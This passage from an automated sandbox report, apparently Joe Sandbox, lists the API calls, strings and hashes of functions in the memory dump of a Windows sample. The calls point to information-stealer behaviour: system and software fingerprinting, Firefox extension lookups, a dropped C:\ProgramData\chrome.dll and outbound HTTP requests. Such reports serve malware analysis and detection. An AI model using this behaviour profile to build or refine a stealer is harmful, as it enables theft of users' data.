lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

moz-extension+++, xrefs: 0040F6AD
^userContextId=4294967295, xrefs: 0040F69C

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 79584d75e1ca811f732ab347852efedc1fb7c3bd7d5a5e3eda263f02599700dc
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: 79584d75e1ca811f732ab347852efedc1fb7c3bd7d5a5e3eda263f02599700dc
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 00411C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02F75F88,00000000,?), ref: 00417982
Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02F75F88,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,02F76108,00000000,?,00420E0C,00000000,?,00000000,00000000,?,02F75618,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,02F71A68,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,02F75FE8,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02F755E8,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02F755E8,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,02F73088,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

aA, xrefs: 004128D4, 00412902, 004128D7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA
API String ID: 2204142833-2414573348
Opcode ID: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F6B968,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02F6B968,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,02F76750,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 0041546A
ERROR, xrefs: 004154C3

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 004152A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,02F75888), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA
API String ID: 2699682494-3568425128
Opcode ID: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 004108ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F6EB58), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02F6EC48), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02F6ECC8), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
Opcode ID: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction ID: 55ebfe5bea072269aba33a565d8c59cbe62f1375a0798b8cb4aa3666f491b8e5
Opcode Fuzzy Hash: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction Fuzzy Hash: EA916471B001089FCB18EF65DA95EED77B6EF94304F10816EE40A9F391DB349A49CB86

Function 004190C0 Relevance: 4.6, APIs: 3, Instructions: 74COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004190FB

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 3ed5406b35bc0fbe8f2f0cc5700ede3907e68665aa762dca28c955ee8b3b83b0
Instruction ID: 9d5720ed0954f5cdfc7dec1e341d10af5889c72f634b6cf3b9c1c719a2aef5a6
Opcode Fuzzy Hash: 3ed5406b35bc0fbe8f2f0cc5700ede3907e68665aa762dca28c955ee8b3b83b0
Instruction Fuzzy Hash: 8B312975D00109EFDB04CFA4C898BAEBBB5FF48314F20C69AE4259B290D735AA81CB45

Function 00419850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871
WriteFile.KERNEL32(000000FF,004108DC,?,004108DC,00000000,?,004108DC), ref: 004198A3

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
